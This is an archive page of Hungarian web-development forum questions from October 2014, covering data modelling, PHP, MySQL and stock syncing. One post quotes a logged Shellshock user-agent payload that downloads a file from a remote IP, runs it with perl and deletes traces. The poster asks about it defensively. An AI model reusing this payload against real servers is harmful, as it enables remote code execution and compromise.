ugrás a tartalomhoz

Archívum - Okt 2014 - Fórum téma

október 8

Adatszervezés, adatmodellezés

deejayy · 2014. Okt. 8. (Sze), 21.13
Sziasztok,

elakadtam, vagyis nem találtam optimális megoldást bizonyos adattárolási és lekérdezési modellre, ebben szeretnék ötleteket, tanácsokat, linkeket kérni tőletek.

Adott egy lista, aminek a változásait kell követnem és később ebből riportolnom.

Példának vegyük az oprendszer taszklistáját. Adott egy PC, ahol látni szeretném, hogy milyen szoftverek futnak, körülbelül a következőt látom:

PID; Program név; Fejléc
110; explorer.exe; "Program Manager"
1002; notepad.exe; "Névtelen - Notepad"
1005; chrome.exe; "Fórum téma beküldése · Weblabor - Iron"

Ezeket adott időközönként lekérem és eltárolom (timestamp és pc-szám is lesz a listához).

A végén egyszerű SQL lekérdezésekkel szeretném megtudni a következő dolgokat:

- adott időpontban milyen programok futottak egy pc-n
- hányszor futott a notepad (ugye PID alapján el tudom különíteni)
- mikor, hol, mennyi ideig, hány pc-n használják a notepad-ot
- PID alapján kimutatni, hogy a PC újra lett indítva (tfh. a PID-et az OS egy folyamatosan növekvő tartományból adja)
- hány dokumentumot (és ezek listáját) szerkesztettek notepadban

Megjegyzés: a konkrét feladat természetesen nem a taszklista rögzítése (ezért kérlek benneteket, ebbe az irányba ne sodródjon el fölöslegesen a szál), de teljesen analóg ezzel a példával.

Szinte biztos vagyok benne, hogy erre már van valamilyen módszertan, mert a követelmények jól megfogalmazhatók és úgy gondolom nem az én fejemből pattant ki először az ilyesfajta adattárolás és lekérdezés ötlete.

Adatmennyiség szempontjából több ezer "PC"-ről és "program"ról beszélünk, akár évekre visszamenőleg, a lekérdezéseknek gyorsnak és percrekésznek kell majd lenniük.
 

powershell

H.Z. · 2014. Okt. 8. (Sze), 21.07
Powershell tényleg annyira elhanyagolt, népszerűtlen eszköz, mint ahogy nekem tűnik?
Magyar fórumokon nem találtam nyomát, hogy komolyabban használnák.
 

október 7

if problémák, változó csere

Leboo · 2014. Okt. 7. (K), 21.47
Sziasztok!

Volna egy olyan feladatom, hogy egy mozi nézőterét modellezve ülőhelyek legyenek foglalhatóak, egyenlőre annyi a lényeg hogy megváltozzon az adott sor, adott oszlophoz tartozó cella értéke. Megvan az egész feladat többé kevésbé, de az if ágat ami megoldaná nekem a cserét, nem tudom megírni. Valaki lenne oly kedves és rámutatna a hibára?
<? if (!isset($_POST['fog']))
{
?>
<h1>Mozi jegy foglalás</h1>
<form action=mozi.php method=post>
Sor: <input type=text name=sor>
Oszlop: <input type=text name=oszlop>
<input type=submit value=foglal name=fog>
<?
}
else
{
$sor=$_POST['sor'];
$oszlop=$_POST['oszlop'];
$alap="o";
$foglalt="<font color=red>o</font>";
$s=10;
$o=20;
if($sor==$i && $oszlop==$j) $alap==$foglalt;
echo "<table border=1>";
for($i=1;$i<=$s;$i++)
	{echo "<tr>";
		for($j=1;$j<=$o;$j++)
			{echo "<td width=25>";
				echo $alap;
				echo "</td>";
			}
		echo"</tr>";
	}

echo "</table>";
}
?>
 

október 6

Php MYSQl Érték változtatás gombbal

kontika1 · 2014. Okt. 6. (H), 20.35
Sziasztok!
Az a problémám hogy én egy letöltő oldalt csinálok de elakadtam.
És mondom is hol egy úgy nevezett kredit rendszernél!
Az lenne a baj hogy hogy lehetne megoldani hogy egy gomb megnyomásával levon vagy esetleg hozzá ad a mysql táblázat értékéhez!
Ezzel hozom át a kreditek számát:<?php echo($u['kredit']) ?>
És hogy ebből valahogy lehet e egy gomb menyomásval elvenni pl.900 kredit van megnyoja a gombot már csak 800
 

[Lekérés] Követett felhasználók "feed"

sandrosdj · 2014. Okt. 6. (H), 15.55
Sziasztok!

Egy ideje próbálok összerakni egy olyan lekérést, amely több táblából képes egyszerre kiolvasni adatokat.
Ez leginkább a facebook tickeréhez, vagy a spotify action bar-jához hasonlítható.

A felhasználók az users táblában, a követések a favs táblában, a listázandó dolgok pedig a posts és comments táblában találhatóak.

Táblákról:
users: userId, userName
favs: favId, favUser, favUser2, favStatus (0,1), favTime (INT 10)
- az user a követő, az user2 pedig, hogy kit
- status = 1: követi, status = 0: már nem követi
- time: ekkor történt a követés/kikövetés
posts: postId, postTitle, postTime (INT 10)
comments: commentPost, commentText, commentTime (INT 10)


No, itt tulajdonképpen az kellene, hogy ha futtatom a fetch_assoc() függvényt, akkor listázódjanak sorban a posztok és kommentek pl.: $data['type'] = (comment ? post? ), $data[userName], $data[content] = (maga a komment vagy a post címe), $data[time] = időpont.

Rengeteget gondolkodtam raja, de semmi működő lekérést nem sikerült még összeeszkábálni.
Már azzal is előrébb lennék, ha külön a kommentek és posztok számára lenne lekérés, amiket majd egy tömbbe rendezek.

A gondot a követések (favs) tábla okozza, mivel több sor tartozhat valakihez (status).

Nem kérem, hogy komplett megoldással álljon elő valaki, csak valami útmutatásra lenne szükségem. Dokumentációkat olvastam, de ilyenre megoldást még nem találtam és bevallom, hogy nincs sok időm rá (uni) (a lekérés saját használatra kell, nem feladat).

Előre is köszönöm a segítséget! :)
 

október 4

JS PHP változóba ír - Hogy lehet, hogy ez működik ???? - UFO-t látok ?

Mikulasche · 2014. Okt. 4. (Szo), 15.50
Általában azért írok ide mert valami nem megy.

Most viszont azért mert nem értem, hogy működhet ez a kód ?

<?php

$width =  ("
<script LANGUAGE=\"javascript\">
width = screen.width;
var numValue = parseInt(width);
document.write(numValue)
</script>
");


echo ("WIDTH: $width");

?>
Nekem ugyanis kiirja a kepernyőfelbontást !!!!

Ami nonszensz, hiszen a php a szerveren fut le és rakja össze a kimenetet,
A JS ott még nem adhat neki értéket.

UFO-t látok ?
 

mysql adatbázis teljes törlése

balczarz · 2014. Okt. 4. (Szo), 07.53
hogyan tudom véglegesen eltüntetni az adatbázist win xp rendszerből?
 

október 3

USER_AGENT exploit?

tacsiazuma · 2014. Okt. 3. (P), 00.14
A weboldalamon a látogatói statisztikákat egy adatbázisban tárolom, ahol puszta kíváncsiságból bedobtam egy useragent oszlopot is, ami értelemszerűen a $_SERVER['USER_AGENT'] változó értékét kapja meg (szerencsére az admin panel sehol nem iratja ki ezt). Ahogy nézegettem az adatokat, ezt találtam köztük:
() { :;}; /bin/bash -c "wget -O /var/tmp/wow1 208.118.61.44/wow1;perl /var/tmp/wow1;rm -rf /var/tmp/
Annyira rájöttem, hogy a kis hamis letöltene valami fájlt az adott IP-ről, aztán azt lefuttatná perl-el és eltakarítaná a nyomait.

Az egyértelmű, hogy nem jó szándékkal tenné, viszont az érdekelne, hogy mely esetekben fordulhat elő, hogy shell scriptben futtassak le USER_AGENT-et? Mikor jelent ez veszélyt?
 

október 2

Parallax design

danó · 2014. Okt. 2. (Cs), 20.31
Sziasztok!

Épp egy parallax-os oldalon dolgozok, kérdésem az lenne milyen JS plugin-t ajánlotok parallax működéshez, aki csinált már ilyet tud-e valami használhatót?

Előre is köszönöm!
 

október 1

Egyik adatbázisból a másikba másolás bizonyos feltételek teljesülése esetén

kotapeter · 2014. Okt. 1. (Sze), 19.00
Sziasztok!

Egy webáruházat fejlesztek és azt szeretném megoldani, hogy az offline bolt raktárkészletét folyamatosan kövesse a webáruház raktárkészlete. Kb. 3000 termékről van szó.
Tehát ha eladnak valamit az offline boltban, akkor a webáruházban is csökkenjen annak a terméknek a darabszáma.

Ezt egyelőre egy cron-al oldottam meg. Linkelem a PHP kódot, ami minden egyes percben lefutott.

<?php
	$db = new MySQLi(offline üzlet adatbázisa);
	$db2 = new MySQLi(online üzlet adatbázisa);

	if ($db->connect_errno) {
    	exit();
	}
	
	$lekerdez = "select cikkszam,cikkszam_nev,db,kisker_ar,nyilv_ar,kategoria,db from cikkszam order by 1";
	$lekerdez2 = "select model,quantity from bio_product";

	$talalat = $db->query($lekerdez);
	$talalat2 = $db2->query($lekerdez2); 
	
	$n = $talalat->num_rows;
	$s = $talalat2->num_rows;

	for ($i=0; $i<$s; $i++) {

		$sor2 = $talalat2->fetch_assoc();
		$aktdb=0;
		for ($j=0; $j<$n; $j++) {
			$sor = $talalat->fetch_assoc();
			if (stripslashes($sor['cikkszam']) == stripslashes($sor2['model']) && stripslashes($sor['db']) != stripslashes($sor2['quantity'])) {
				$aktdb = $sor['db'];
				mysqli_query($db2,"UPDATE bio_product SET quantity=".$aktdb." WHERE model='".stripslashes($sor2['model'])."'");
				break;
			}
		}
		$talalat = $db->query($lekerdez);
	}
	$db->close();
?>
Nos, ezzel az egyszerű kóddal az a legnagyobb gond, hogy 3000 termék esetén csekély 4 óra alatt fut le.
Biztos vagyok benne, hogy van ennél sokkal jobb és elegánsabb megoldás.

Ha van ötletetek kérlek osszátok meg velem!

Köszönöm!

Peti